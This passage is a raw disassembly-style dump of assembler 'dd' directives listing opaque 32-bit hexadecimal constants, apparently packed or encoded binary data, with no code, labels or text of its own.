0DCB5ADh, 0EF120C2Ch, 0BB0B8E38h, 224CBB0h dd 0E186951h, 64D406C9h, 2B291612h, 35077823h, 922941C6h dd 0F3DD4689h, 0DC5C70BCh, 0B0906D2Ah, 85102A42h, 0DDFC4A01h dd 12C735C0h, 0F23953C8h, 0BE6080E6h, 66C01F74h, 270E63E9h dd 0BFFD578Dh, 61C914A2h, 0CDF52B75h, 7D7BC0A8h, 0A54B07ABh dd 0EFDBE85h, 0E05809ECh, 0C1853E03h, 29D6302Ah, 0C40FD95h dd 3F460468h, 8151D704h, 215F57D4h, 87FC38D2h, 71D01E13h dd 0FC603Dh, 53CAC985h, 0AEA27274h, 0E11CA94Fh, 0B9DAC0E5h dd 291A25C4h, 0E350CCC5h, 66481298h, 0A1CE0CDBh, 0FC9190B1h dd 4CD80BBh, 0EA781AB0h, 0A2E30060h, 0C5BCB975h, 503A3D92h dd 0A79026B7h, 7378E209h, 181559DFh, 60D62D3Dh, 0D8799164h dd 0E11F8100h, 0B8F6FF06h, 610D3131h, 0D6111D72h, 0C08AED57h dd 1518F866h, 9233823Bh, 1F2FC7Ah, 0AC01B7C4h, 0FC3EA2D7h dd 0CE01F68Ch, 0DF1934D9h, 0C27A233Fh, 0F70B1DE5h, 8F0F3968h dd 0E03374BDh, 0B0F0492Ah, 0E7C8D625h, 310B5C01h, 5723358Dh dd 5CE1726Dh, 8338DC8Dh, 44A15480h, 8700342Fh, 6E785ED2h dd 539E128h, 0B08280D7h, 19DD8168h, 4ACE6B30h, 0E344C13Ah dd 0F0F53629h, 223B066h, 0F2B5EB81h, 0CC57284Ah, 7E144546h dd 6006CFCh, 0F36E26Dh, 991E7582h, 0BDC1DD68h, 232FC9D0h dd 0F9B5742Eh, 2F9A8CFh, 84CEBBCDh, 2D5C5EEDh, 20AE5664h dd 602458CCh, 5B2D1D1Ch, 98A2C665h, 0CA714DAEh, 115B9624h dd 54EE0013h, 7B759478h, 5CA200C8h, 6906B3C9h, 290BCD68h dd 87DB960Dh, 50105F0Ah, 77D759BFh, 0DB7BF955h, 9C5F8002h dd 549FF7Fh, 93F4A973h, 40B064F5h, 65EF7568h, 495F6CEh dd 5F090ABEh, 4902B873h, 3048F83Dh, 23E29D89h, 0A5405397h dd 68569942h, 91FB5B2Dh, 0DE129ED9h, 686D6DE1h, 732738B8h dd 0F4E1106Eh, 72190371h, 15695D55h, 22DE1EB0h, 4D960B97h dd 0C0BBC123h, 1B0C5E1h, 0BF002D29h, 2A2542E0h, 81BBC628h dd 2EEF989h, 0BD5CF7B7h, 0F96A3E6Dh, 6EFE5E46h, 6C61C13h dd 2B0D5C84h, 0E112AFECh, 0D797B210h, 4DA099F6h, 0CCBF35BAh dd 0A5B5106Bh, 0E050282Fh, 530EFE5Dh, 0D3A8006Eh, 87EFA7E3h dd 68120027h, 0BB8AEE0Ch, 0ED0B56FCh, 247B9223h, 5F0B26E3h dd 0BB0553D3h, 2ABA7B77h, 63E680DCh, 2AD7FDAh, 85D5D31Ah dd 0BCC0FB8Bh, 0CE9532EDh, 18BF0469h, 0B8507C68h, 2C1EA2D2h dd 941D1B6h, 76081891h, 84498C5Eh, 8BD90256h, 0D08DACD8h dd 0CA6BF79Ah, 99EAA411h, 0BE302B5Fh, 52E18501h, 0F096FC18h dd 0CE95220Ah, 0DC63BC44h, 0F126C0Ch, 880DFA2Eh, 0F6018160h dd 6EDF515h, 1D5C8B8h, 282E61C5h, 32D6918Ch, 0BDBC37BDh dd 9D700E1Ch, 720410D6h, 600216ADh, 7E52B52Bh, 0E4D18101h dd 6159621Eh, 0A9B1742Eh, 464A868h, 0E9CB39EDh, 1895400Ch dd 9E648h, 0F717BCA3h, 0C6BB6052h, 43A26FBFh, 0D4127808h dd 0B5E31E71h, 0B82BA9D6h, 39B7EEEh, 9E067F6h, 0B8A4E9D5h dd 39255AD2h, 520A6AFh, 800FC18Bh, 0C94AC5B2h, 22937C8Ah dd 75029201h, 46071FAh, 0D98A5E51h, 0B811A561h, 601BA02Eh dd 1BB145Fh, 60616B99h, 0E6FCB656h, 64951708h, 0C8F8F2AFh dd 592DFB5Ch, 857BAD1Dh, 0B75F06BCh, 128E615Ah, 0AA1AF8BBh dd 93004B6Fh, 83F79EB2h, 5905DB01h, 0BD23C60Dh, 17F1B2EFh dd 0FAFCF1B7h, 385714DAh, 950775FEh, 60A11557h, 955CEE06h dd 0D6EB0F04h, 0C1ACCD61h, 4BBD2BC7h, 44D184C9h, 0AAD9C5A4h dd 0D574A738h, 0ABBC855Bh, 48E7A700h, 26A6FB7h, 228BB5F5h dd 0D0E2504Dh, 39C61C5h, 0F8250773h, 1859745Bh, 42F85618h dd 0E92534E0h, 8AD6780h, 467CFCC0h, 94F7001Dh, 0E20B0CAh dd 93C0017Dh, 0A19D03A3h, 80A56D11h, 0DD428C2Ah, 9C802571h dd 0DFCB006Dh, 0C63599C0h, 0A0B28B4Ah, 96879A92h, 5E6C80EBh dd 0BBA1DEFFh, 5A5790h, 0CB344314h, 5012C81Bh, 58E19421h dd 52C756C2h, 302804F7h, 4A5A1ACh, 0ADE65EC8h, 8C1DAC83h dd 0AD88DD04h, 81EAC43Dh, 80F6DA31h, 6A69EF5Eh, 5ACB80FFh dd 24E9E0D0h, 4A79B588h, 800C9E2Ah, 7243AA2Ah, 21AB2547h dd 97EF916Ch, 48AC602Bh, 64D8A225h, 8CE7316Fh, 0BAB00261h dd 0CC1201Bh, 0BD9D0195h, 0E30915F9h, 2985ADBCh, 0E3899DD3h dd 4A895817h, 2E86C9F5h, 2BBE1CCh, 0C60194A4h, 0DC604955h dd 889548B7h, 791CCB72h, 166C6425h, 0B1C82BFCh, 33D1FC72h dd 8359D13h, 2291EC22h, 0ED9090E9h, 4C714485h, 8D4B2A90h dd 69D29496h, 4A50C329h, 0BBBF660Dh, 0F2960EEDh, 0BF22138Dh dd 20139C32h, 5FE9D1B7h, 68C119Fh, 84258913h, 0B6356E19h dd 720309EFh, 3F163459h, 9500E8E7h, 79F363F5h, 6EB54B3Ah dd 0B40B44F8h, 9B0054F6h, 6621085Ah, 623B7952h, 0E31D260h dd 445B5107h, 615E2E32h, 128421A4h, 1052B6F5h, 0A140735Ch dd 9544976Dh, 2F95CEC4h, 0A81DBD45h, 6AAE5BBFh, 61D84B45h dd 0CAB505DAh, 163D0FF7h, 0B9E6F4B5h, 2312D45Ah, 970114A0h dd 8B3BACD9h, 0E40EDF80h, 0EDE19563h, 0D22B002Ah, 0DD32580h dd 0B7896047h, 0C03DCD32h, 6757D411h, 0C1AB4B4Ah, 2A84B359h dd 0DBEB4756h, 107804Ch, 0B5311985h, 0F9F793BAh, 9ABB84B1h dd 0D362A9E4h, 4C057F6Bh, 1763320Ch, 10895E5h, 0DB80DAA5h dd 9CF23B6Bh, 48C18ECh, 34E42269h, 0B2B23Ah, 15C5912Dh dd 0B4C8ADh, 72E0AA49h, 0D6748776h, 9398E40Ch, 9AE5ACBBh dd 9B5B4ACCh, 0F576842Dh, 8CA2A9A8h, 0F8AA5624h, 0F8A8920Ah dd 0E1D7A6D2h, 0B6915C2Dh, 7EA75AF5h, 83A19A4Ah, 0F0BB5B6Ah dd 0B1E4AF3h, 0E1FF5A24h, 3C701F5Bh, 18B29F8Bh, 210FF2A4h dd 0CE6A0AFDh, 95C522A3h, 0FB47E8C0h, 2FAB1495h, 9BDB04CEh dd 25C1D0h, 2B235447h, 0B70FE2AFh, 0C78AD84Ah, 0E6666534h dd 4F14F038h, 0A82F0C88h, 27CCEB7Ah, 3B5EB9ECh, 9DD330FAh dd 60810725h, 0AC57E97Bh dd 3D9D01D9h, 258D47F4h, 11132B9Bh, 8A17012h, 0BAC2685Bh dd 2556DE8Bh, 0F6017A88h, 0EDF85A2Fh, 63186496h, 0AAFAC0B7h dd 9C5750F3h, 5B4FC0F1h, 0B9AD87BFh, 1BE6205Ah, 60301BB2h dd 0BB474CAh, 14893FC5h, 0CC0154F9h, 84CBD04Fh, 2728D6CCh dd 176490B9h, 4791FF03h, 0D02A9280h, 2FA672B0h, 9110A774h dd 9A048212h, 5F57C021h, 0BF0509E2h, 0A85D102Ch, 0DF166070h dd 0BA49768h, 5250E522h, 310F7C82h, 4D00AE71h, 0E886E2DDh dd 5B6C5CF3h, 0D7A7DB02h, 0C5F8585Ah, 0FC5F6802h, 7796B31Ah dd 1B64176Dh, 0D7D15460h, 0A16AE805h, 69A57902h, 6F93F378h dd 0C0FF007Ah, 0BB5A8405h, 79312DACh, 44EA25E4h, 0EC70B700h dd 55745CFFh, 0F14505EFh, 12890FCAh, 4A02EC34h, 1B88C39Ah dd 4662B2C0h, 3AA90041h, 9D09F09Bh, 1851ED9h, 0AEB28ABFh dd 0A5757053h, 88B71E4Ah, 0B4B54A7Ch, 884A0FEAh, 0B3A8FE24h dd 1E293h, 6B5D8F80h, 10FABEh, 625AF5F2h, 4594885Eh, 0EE53449Fh dd 8C2F00CCh, 0B2BF5FD1h, 0F764B3Eh, 29C75B95h, 3600B856h dd 72D9E49Dh, 0B5133415h, 0BF8C0689h, 0EDBD122Bh, 92EDE224h dd 0F30235D9h, 8D82D546h, 2451E969h, 407EB70Eh, 0C01BF07Ah dd 0B2604B50h, 69720F78h, 2F900DCh, 3AB24161h, 5BA460B4h dd 7DE46088h, 873EC32Eh, 9DDECABBh, 22EFB3C7h, 0C62266Ch dd 355AA8D7h, 0AF92080h, 9573CB3Dh, 0BDDFAE89h, 53D807Eh dd 2B8CC93Fh, 4B402649h, 3C5B4AE0h, 0D11F68DEh, 0C7E814ECh dd 55524A80h, 0F00AFC3Dh, 0A703B5ADh, 5C32E91Ah, 0D248024Ah dd 0E7F30FF3h, 1CA07270h, 0A5BD0982h, 0C052BC89h, 1DF47E96h dd 5C1CF8DAh, 0E34B127Fh, 0BD010420h, 500C07A5h, 0E197F5CAh dd 616624F1h, 0B0CBBCF0h, 6982BB05h, 0FE97B90Ch, 5DCA5F34h dd 0FE3FFF5Eh, 0DB614B17h, 0AB18060h, 0B5587B65h, 942F59C7h dd 0E14C70CEh, 0B8D9FD6Fh, 0F16C0174h, 9A0E27F3h, 96F53FA5h dd 106EFA2Ah, 0C980640Bh, 134A5BD0h, 1BACDB3h, 7861D381h dd 46F52FFh, 0ACE3D164h, 0EA0DA296h, 80E3B7D0h, 0BB2D78F3h dd 0EF06CB69h, 1C0D9D31h, 5FB8985Eh, 5BDF4ABDh, 3D058F4h dd 19F02381h, 0EB27BE1Ch, 2C4AF950h, 0E4C64B7h, 0AE16CD12h dd 1D23156Fh, 0F8367500h, 0F08B19C8h, 2BDC2672h, 250D0802h dd 0A7535325h, 7840C0EDh, 33E6F9Fh, 0D27B6747h, 0C4279BAAh dd 49C0D9B1h, 224000D8h, 0C24E05BBh, 0BE966A42h, 0DB43B51Eh dd 0CD5961FDh, 0E3819560h, 545C16AFh, 0D2B7AD76h, 0A500246Bh dd 69BE009h, 61059281h, 22A1BD23h, 7338B829h, 9D7D0D80h dd 7F02D4B9h, 0B393D0E7h, 60CA5630h, 490EEF81h, 27789F23h dd 4E701DDBh, 878A1462h, 913A4D8h, 2BCB9C33h, 3413DB8h dd 89F1032Ah, 0ABEC81BDh, 0DB715E27h, 7ED9E967h, 0A89B7E19h dd 7F7D67C0h, 26F0CDD6h, 4DBB6609h, 2FC259DFh, 39E1B75Dh dd 0C6163C09h, 0C3C9A806h, 8C014AD5h, 4F6D1EF5h, 50DFA72Dh dd 5189082Fh, 3322BA2Ah, 5C37E25Bh, 0C59C40BCh, 613FC232h dd 8EE80081h, 771F67EBh, 8D011DFDh, 9B0BEF2Fh, 95D3412h dd 0D6605C1Fh, 0F24B1946h, 5008277Ch, 0DD1F4AA7h, 3CCD6A98h dd 9206AC7Eh, 0EE929FA2h, 0E1DBC352h, 21D99581h, 52E39A50h dd 0C5F9DD52h, 79B95B44h, 7C8C1DACh, 3A5003D4h, 807909ECh dd 5E074C2h, 9A95E2F6h, 358A02B8h, 4BB75501h, 0EF9C1491h dd 7C1792DFh, 0A3284017h, 0E54A914Dh, 7ABBDED5h, 0C8860989h dd 35678247h, 8DC50E14h, 2AB7B1D5h, 947BD629h, 0B815ADCAh dd 3A161228h, 0DEEDC872h, 25E4D900h, 844AEECCh, 3AFB12F1h dd 0AC82ADE5h, 217E8C18h, 0B70A9B12h, 0FC1CD488h, 8A5A014Dh dd 701E336Fh, 47042B0Dh, 7E5C063Dh, 2DD9BD9Ch, 2DC6C069h dd 0BC7EE9B5h, 0B0E40434h, 4D84CC3Ah, 0CCAE7E17h, 95E9D1Ah dd 61BDA790h, 90DDF01h, 0FF590C5Dh, 0D59531E2h, 83E948E8h dd 5E28995h, 39F1E103h, 0DCF66Ah, 0E419EB38h, 0BF765565h dd 6869E3F4h, 2609745h, 0FCDE1096h, 0FE551F6Bh, 0B290935Bh dd 0FAF200B8h, 18C913DCh, 221004Ch, 8BC744F9h, 791F8A74h dd 0ECB0B43h, 0DC401A50h, 0B270E091h, 0ED95908Dh, 5312C040h dd 504B3ADCh, 0BF8326B0h, 0CD5FA5C6h, 0ABE56125h, 73F968A5h dd 0E78010B0h, 0BB85A00Ah, 6F2AED0Bh, 2B0E000Bh, 0E8E9B428h dd 570A971Ch, 34142CA6h, 1830AB6Ch, 70B1B2h, 0CDADD806h dd 2B4C1A1Ch, 9FB46601h, 501315CBh, 2D08D091h, 252BC651h dd 337905Bh, 54517500h, 5A7DBAC5h, 56D30ED4h, 3050748Dh dd 0CA76D285h, 8B72B7BFh, 0ECD7F892h, 119D3879h, 52362BC5h dd 4EE3007Eh, 0D1FF1234h, 4B12DDBBh, 51E26BB3h, 8B822888h dd 0FC026AD9h, 982A0968h, 0B3F9C960h, 2CB50188h, 52AF230Dh dd 9F008F59h, 0DE013CAEh, 9765FEA3h, 0C548051Ch, 36DB4A06h dd 0A8DC29C0h, 0AD989201h, 0D332D125h, 80F4D285h, 555978E7h dd 2BA102B5h, 7DBD2A80h, 183B4Dh, 0BCB760FEh, 9082D380h dd 3540AC9Eh, 1E0CFAC2h, 0C440F560h, 0BF905075h, 0AE00FA6Eh dd 7BE6ED6h, 3409BB1Eh, 7322623Eh, 15912719h, 32AD7BEEh dd 8011521Ch, 0FA5178Ah, 9095FA7Bh, 0FE3F9D76h, 167A0455h dd 0B85B9624h, 0A4B9D235h, 7B0033BCh, 3CD4881Eh, 1731F867h dd 0BA1BF18Dh, 0D892859Bh, 292DAFD2h, 244C52B5h, 0DE33FF6Ah dd 8654995Eh, 0E75C7A82h, 1DC9163Ah, 358E60AEh, 0C500AF24h dd 0D0754363h, 2832BD71h, 2BD52EAh, 766A5761h, 49D58D29h dd 612E5BF5h, 501266Bh, 84FDE70Ah, 6012B09Ch, 9896E8BCh dd 0F4018029h, 0E6615EA2h, 162EF870h, 4FFCB868h, 0F9229AF3h dd 997DFFCh, 0FE31E26Ah, 0A43DC5F2h, 890BC1DDh, 0D70D2DB5h dd 8F0F9448h, 0FB2F0A6Bh, 4CBF0082h, 0A1BD2BFAh, 7989064Bh dd 0F875FA20h, 93A6C8h, 2F3220E4h, 0DC62A012h, 481EBB00h dd 24E29B3Ch, 0E4A7FFA2h, 0F2893F8h, 45905089h, 7C46B102h dd 0A291E97Dh, 201E795Bh, 554C5085h, 71F8B5B8h, 0AC91568Ah dd 0E9542732h, 2C6DBDC1h, 838A36Eh, 0CB1A759Dh, 0C4602D69h dd 0DA9FB523h, 51BA00C1h, 616C1907h, 0E9E6D38Bh, 0F52D4655h dd 0A5722E04h, 238BD560h, 0E702B1D1h, 5C61AB36h, 492444ADh dd 0CC3D0FBFh, 97D9BA5Dh, 3C09A933h, 880AE9C3h, 0BB017B7Dh dd 7557BC74h, 3092612Eh, 0D1BD1084h, 0F5258C24h, 0A78CC510h dd 0A740A36Dh, 97A3B9FBh, 0A902821Ah, 0B3032AD5h, 5EBDCD63h dd 1F01E4B8h, 80185DEAh, 886ED27Dh, 4703FD26h, 0B686683Ch dd 7F4F09Ah, 80AE9960h, 7F1EC877h, 5C1371C1h, 8BE30EA6h dd 0D8A8A84Ah, 81228D18h, 0AB0B45BAh, 5415E30Bh, 36DFF17Ch dd 0D284F0D7h, 2D02398Dh, 0CE80F3C9h, 4436A995h, 0EF843A5Bh dd 0B5611A8Ch, 19529FFBh, 0BA2BCA3Bh, 0C5FDA253h, 258C15ACh dd 0F1CD91CBh, 45601D64h, 0AD2FEE19h, 0B284FD13h, 0ADEBB862h dd 88084520h, 0BA026660h, 0E58A0DCDh, 0DC73F661h, 12ABB0B0h dd 0FA921DECh, 5188C2E2h, 30ED2AB1h, 41DB996Ah, 2E2679ADh dd 1B23A36Fh, 0A3110507h, 0BDA7D1D0h, 0FD74D2D8h, 11B35BCBh dd 1FE1FF13h, 0E82FD7DCh, 87B292FBh, 0ED03D784h, 0AAB48366h dd 4DD4E0ADh, 8A904B2Ch, 35D8368Fh, 0BDF57060h, 86223516h dd 6FB7958Fh, 1892EE00h, 197FACFh, 9B3FBF22h, 886074D4h dd 326A1F2h, 0D8BB6657h, 4B5C5BEAh, 0E2DEEC26h, 0CA7A0B51h dd 0E80501A6h dd 0E995A431h, 75B1D5D2h, 0EAF23F66h, 0E7490277h, 0B8785C26h dd 0B0035643h, 4689D92h, 0EC6290A1h, 51910911h, 8D8940B6h dd 65B50715h, 43CDAD24h, 0AD0AFF43h, 0BB0408ACh, 0A2907965h dd 0F0007E20h, 92C12E0Bh, 3B8E9AA1h, 0CE0A1CC5h, 1D59E25h dd 5B5FFB8Bh, 4C122E50h, 0E281EBCh, 68F50049h, 1994D50Ch dd 29E7850Fh, 0E297C052h, 0A083C8h, 0CBB5E5ADh, 0DF8562EBh dd 3F9F0B2Eh, 5F940E04h, 0F3057AA8h, 4198BD6h, 0AA1AB18Fh dd 5CFCBE72h, 86516930h, 0D629C400h, 90D0F47h, 15850957h dd 0E9BEFBACh, 5E01AB27h, 2C01F448h, 0A549F931h, 172BB781h dd 0C0A4DEFEh, 4D2F93ECh, 37643365h, 0B984FDECh, 48B6D01Bh dd 0DCFD4BA9h, 0AAF88AC5h, 0E2977A2Ah, 8783058Ah, 8316E0FBh dd 645527BFh, 0B8E0B906h, 3DA40902h, 0B483AA75h, 58124D35h dd 2DAB1D09h, 0A83C2981h, 0CFE2029Ch, 40177FC4h, 74019C79h dd 6AAD0FE7h, 12238BD4h, 0E8602510h, 0F0E28049h, 0BCD393h dd 40CF3EA7h, 0AFE8C2E3h, 19EFF902h, 892C6250h, 10AA84DEh dd 75705B09h, 1CE7964Bh, 0E0680616h, 215A619Ah, 4AEDA8A0h dd 0B570AC22h, 0A7A8BFBDh, 607D6E00h, 8E80F33Ch, 57F89DD3h dd 74681640h, 0DB3F258Fh, 2170ECE0h, 0F54ADF74h, 9EFAF2D4h dd 68029C5Ch, 0F5B84A2Ah, 0FC567462h, 4C50DE63h, 0CB564C16h dd 6560611Ch, 1C008959h, 0F4D7CD56h, 0B5B10931h, 7855DE7Fh dd 13F298B6h, 1F616288h, 43219A75h, 1C1867D7h, 0AD672588h dd 7BEA3892h, 66007CC5h, 204A22DFh, 465ED18h, 0CDBD01C4h dd 23E9052Bh, 2834304h, 0AAD98B45h, 0BAA4663Bh, 4C82F49Ah dd 0A043DF28h, 0AAD8259Fh, 0CA1E871h, 1C538E2Ah, 7D25041Fh dd 67C068CDh, 47E6F5Fh, 9D0BC83Fh, 0B3FB506Dh, 4E5B49EBh dd 890066BCh, 7241217Dh, 29F4AFADh, 0BEF8E0Fh, 49E5E0B7h dd 0E13BD051h, 18FC7054h, 0AD5D45B5h, 8201D5B5h, 0E691DC40h dd 295B322Bh, 2B2B9B41h, 6A6AEE2Dh, 31DC070Ch, 94C85D95h dd 962C2EBDh, 0CF3305D5h, 1B2F250h, 3D08260Ch, 965B9671h dd 0E02A4CBh, 7541EADh, 10C550E4h, 975B14F4h, 1A910535h dd 0F915C980h, 0DC2F6535h, 0CD341084h, 17970745h, 0EFC0E028h dd 5513480h, 8915F59Bh, 85B9BAE2h, 75AA5B50h, 0A896E965h dd 3F3CF0E9h, 1304D99Eh, 0B8C97E71h, 17DE4B25h, 0F19121C0h dd 0C0B497Eh, 2FC3199h, 5C1C9D1Bh, 8B5FE929h, 89787E6Bh dd 4B3704C2h, 1F55A487h, 6AB79821h, 0F545092Eh, 53934071h dd 54E5241Dh, 1B46D64Eh, 0A16D1F00h, 0B54DFF63h, 0D8C6A34Ah dd 0B50F9D4Ch, 1660EC06h, 0F612CB60h, 9361FB0Ch, 6BB7092Bh dd 0BF092873h, 5909FDDFh, 8D819250h, 0FBD66EE5h, 0DD5B9D3Ah dd 0FD41F5DAh, 6CB26B7Ah, 8016CB1Ch, 0A6F98412h, 64070941h dd 0F04AD2DBh, 5456CBE8h, 0CE31612h, 0B0B12E88h, 960103C1h dd 1454CA50h, 0E54701DCh, 0A55F7D87h, 0DAF760C7h, 50836595h dd 0D8B52956h, 0F30D25A8h, 2B0803C6h, 721DFDBDh, 0C54067EDh dd 3F845CAFh, 0D189E793h, 0CB5C2987h, 0BAB06440h, 0A08E5E3Ah dd 2A991975h, 600D6AA5h, 9507C96Fh, 706BE99Ch, 0DE0DF648h dd 0BC311900h, 0CEB7629Dh, 0B3B21230h, 0FC60FFA8h, 800C0DB5h dd 3D649D23h, 0B5BDC68Bh, 330030E8h, 9D318089h, 9DE224FDh dd 54497318h, 2E0190F6h, 0C1FFC738h, 8F2A0EF1h, 149A4E9Eh dd 3CB69080h, 910B0249h, 3535C6Ch, 5E25BD5Dh, 2397E05Fh dd 85891E13h, 7F720FBh, 24E3FFF4h, 0C14B8BEFh, 0C7B829F9h dd 0A7C0D100h, 0ECD4F8E2h, 0C97EC523h, 5528AA1Bh, 472F25BBh dd 5400DC66h, 29AE22DBh, 108D68h, 0C19596EFh, 0F5B6EB2Fh dd 1952460Bh, 27D9581Dh, 5AFC90DEh, 0F72F6E6Ah, 3FBE120Dh dd 97F616Eh, 8F1C905Bh, 0ABC072FEh, 75848Eh, 425FE4EBh dd 741473BEh, 89018D78h, 31A3D53h, 0A3FF79BBh, 4CEC0B43h dd 0ECDE71Bh, 0DF90CEE2h, 0F5524818h, 5C3B42B5h, 5805DEA9h dd 880FBD80h, 0CD7233BEh, 1C4468F6h, 809C9960h, 0EEDBE049h dd 2F00BADFh, 0F4A8D9CAh, 4A603980h, 92E2FDD8h, 0F23F73A1h dd 6BBF5F83h, 6B7B25C5h, 0EBE8CF8h, 0AD12D97Ch, 6BFFD34Dh dd 9864715h, 7FE04E34h, 3AD1F631h, 80E54DA6h, 0D758DE1h dd 1C636795h, 0AA4A38A7h, 6380E7DBh, 7FB21A42h, 0BD0B3500h dd 55850954h, 2E24018h, 0BF37BDh, 84F197DFh, 0FF2FBE16h dd 4885587Eh, 89210790h, 457927h, 25F34F05h, 43008CE1h dd 9A44966Ch, 9ECBD93h, 0CB15D35Ah, 6148F750h, 0DBB313A2h dd 23816BBAh, 0B7F30915h, 0D6EF5B80h, 12B089A2h, 0A0E901E1h dd 5691382Eh, 5397BC90h, 30277973h, 51B1B55Ah, 5401A58Bh dd 0DB59E92Ah, 0C8D57C00h, 138483CCh, 51319D2Bh, 0EC5EA4B6h dd 6511A015h, 8830030h, 0E0CCB770h, 77003C44h, 88A07890h dd 49501536h, 4956A8EEh, 9A81AFF2h, 3A125BC7h, 0C0EA9F25h dd 1110EFF2h, 13042DE0h, 2CA3EA8h, 88109BAAh, 3282C018h dd 0AF4B39C9h, 12297498h, 0E2184D85h, 0ACDCD551h, 0B98D2833h dd 2B0920D1h, 3D85310Ch, 0C1FF551Bh, 42CEBEF8h, 0DD727053h dd 290BD4BAh, 0FE1735BDh, 163651B9h, 0B0084023h, 8010D197h dd 21F7FCEAh, 1C013C3Bh, 0C95FB17Bh, 2EF4C6ECh, 0E6841772h dd 0E4300570h, 12F271h, 296F6046h, 0F77169Fh, 0D6F381BAh dd 0B91B9364h, 9F72134h, 0F60399Dh, 0FA7FB2BFh, 3D80564Bh dd 2FE6F4BBh, 0BFFB794Eh, 0C46E88Bh, 4BDD3ED8h, 843E8C2Bh dd 0C1B70D4Ah, 0FFEA5100h, 66C989CAh, 3B854A4Bh, 0CFC1AEE8h dd 0ECBC208Eh, 0AC18B3AFh, 815EC82Bh, 0D1B3832Dh, 9AE9D8C0h dd 0F000B89Fh, 0E7F52C31h, 498507D0h, 6044024Eh, 802511A0h dd 22ABCC0h, 614B2A89h, 0B8603980h, 3914076Bh, 46850344h dd 4EBF211Ah, 2CD716E9h, 2D22A908h, 47AC548Bh, 0B100E19h dd 0F51F3195h, 7588EFC6h, 4701EBAEh, 2685D34Ah, 9C6A5957h dd 0A460916h, 381A61C4h, 1904EFBFh, 7B512C7Fh, 0D3C47CF2h dd 60B30594h, 13C237DCh, 0A65595h, 0F1BA0186h, 3D4B4AD1h dd 2394CDABh, 19915A2Ah, 0CF2E6751h, 3C4B73F7h, 0DEAA5994h dd 0AA879E8Fh, 0CE22B09Dh, 1467DDEh, 1064B912h, 0CDE8A5A9h dd 0C0F8A825h, 9F8E0F82h, 18814691h, 841F5h, 31FCDBB5h dd 82B59525h, 7CC02BD9h, 0B502DC92h, 6F028764h, 0BD7840FBh dd 6923655Dh, 1242E381h, 76E169EFh, 4B7D7A7Fh, 0F82290AAh dd 0FABED2E5h, 22EE1B28h, 9F9C3697h, 76CBE56Dh, 12D445FEh dd 100F4A2h, 4FCE954Ch, 0EB40B7E6h, 0F91B5B45h, 0B31CBC69h dd 7A2F010Ch, 0E0BCF338h, 8A5AF105h, 9519CCA0h, 68A43E53h dd 7AD5DA02h, 4F175727h, 50B65BAFh, 74122749h, 0F5AF5936h dd 8E202EA8h, 7E51BF3h, 674B2013h, 825AF4BFh, 3DD0D907h dd 2BD6CF9Fh, 287C58A8h, 541EEF05h, 8CAAE9A8h, 7B9388BBh dd 0CE1C253Fh, 16BB008Dh, 81601ED2h, 0D105EDCBh, 0E1FF72C1h dd 0B74CA6FBh, 4AE6BBA0h, 82625E8Ch, 82F5FBF8h, 5721AD1Fh dd 1145131Ch, 0E199CD60h, 88B6A33Ah, 8D298219h, 855C2AB1h dd 2D0DD071h, 8A83Eh, 5E7F353Bh, 0DED69E83h, 18E8605Eh dd 0F9BE2920h, 0C24A1810h, 0F3412B82h, 47C10426h, 242E0771h dd 183A262h, 0FBF9E3CDh, 1FC8B562h, 99DFE98h, 0FD9CE5BAh dd 4F455572h, 0C1550CA6h, 3F0D5FEBh, 0E6B487E6h, 5FB41D68h dd 32A65800h, 976ED365h dd 1D915535h, 34A6B280h, 1704A48Ch, 0CCEB5D0Fh, 0A8597782h dd 8321CBCCh, 0B5E425h, 0EE494035h, 50E745DDh, 0A3B45B4Ah dd 4E039CDFh, 0AF5C6ACBh, 0A39112DEh, 0E90B00C4h, 0F91047A1h dd 0B200C8A6h, 0D51D58EFh, 2CECAFh, 381060C1h, 6892F649h dd 8B17983Ah, 0D78B0FD7h, 0EB007D94h, 292BF56Dh, 439CA3h dd 0E2EDAF7Ch, 0B7B45EB6h, 0F080E04Ah, 0E328EC67h, 8BF04726h dd 0A701B5E9h, 48E21701h, 0DEED8170h, 0BF522ED8h, 0DD35A7BAh dd 5B156380h, 5E4DF05Ch, 4A4FA810h, 466D3CCh, 0E98E14BFh dd 0B74C88A4h, 0A48CDE4Bh, 9C5B4B53h, 1942F97Eh, 0B84F9D94h dd 4CF24FBEh, 8029DA96h, 2A8B1D5Eh, 47F8170Bh, 2460BEF1h dd 3AC51A07h, 29809FA0h, 85F945A7h, 0B65C01E4h, 73B80394h dd 0FC46A19Ah, 41720C2h, 9D62AB61h, 0B7B11384h, 97E615D9h dd 0B35086E0h, 55174C5Eh, 1E80129Bh, 896D37BEh, 0C52D0A13h dd 4F21F88h, 0D524ABDCh, 0AC61B9A0h, 94048C14h, 2B21B589h dd 777798BAh, 452C7000h, 868FE50h, 0DF92003Fh, 0B98E06BEh dd 15F655A7h, 56324F13h, 3BEA0AA0h, 9BCF2D4Ch, 5A9F8797h dd 399757E1h, 6F1206Fh, 33E382Ah, 0CD9525E3h, 6115649Bh dd 203ACBACh, 0B51A5747h, 0AE810A01h, 295F67B3h, 50872F78h dd 5EF01B60h, 4044D997h, 0F091B961h, 293DCA2Dh, 0D87C8865h dd 0C287EE25h, 10318D20h, 0EB224FD5h, 0D40106CCh, 43BFE176h dd 6F2097B1h, 0CE1B4AC5h, 4E3B38C8h, 0C680AD9Eh, 0AB06D55Ah dd 0CAB5B62Ch, 0E9865227h, 0E6157692h, 0FDB15BC6h, 951E6DF4h dd 7E745F67h, 0F19D2F53h, 6D6BC0DEh, 567A40A9h, 8202E103h dd 0DA105207h, 0A6EE7FAEh, 6B822D7Eh, 0CC29C380h, 0FEE3D8B8h dd 0EAFC7F29h, 41DF066h, 0B33C7EBFh, 14DCBE62h, 20314135h dd 0AC4B30EEh, 0BA50708Ch, 51ED17D9h, 0AA2AFC5Bh, 0E7C23002h dd 715C31FDh, 51AEDBEBh, 3EBCFC42h, 0F406E922h, 0FC4372B0h dd 0B27295E1h, 0ADB9BF12h, 8E42C91Dh, 0DD67DB94h, 0CFB74F01h dd 66E2B96h, 0F9DA0D04h, 95A881ACh, 8A0F011Dh, 5624883Dh dd 10C1086Dh, 81BA5F15h, 695F381h, 322E22DDh, 0B0B1F885h dd 0FA0E7A51h, 715F29C2h, 0BB09BE53h, 3271E6B0h, 297EE4A0h dd 0C4E9AE96h, 4E7D004Ch, 2583BB8Fh, 384AAAF1h, 4E503FB4h dd 806DDB20h, 7635C04Fh, 0FD940420h, 82034650h, 0BAFF2B8Eh dd 0DC625CBBh, 0BB670EFh, 36E6089h, 418529C0h, 0FC9BD2F4h dd 5D24475Ch, 0F0BB01FCh, 42BD41D2h, 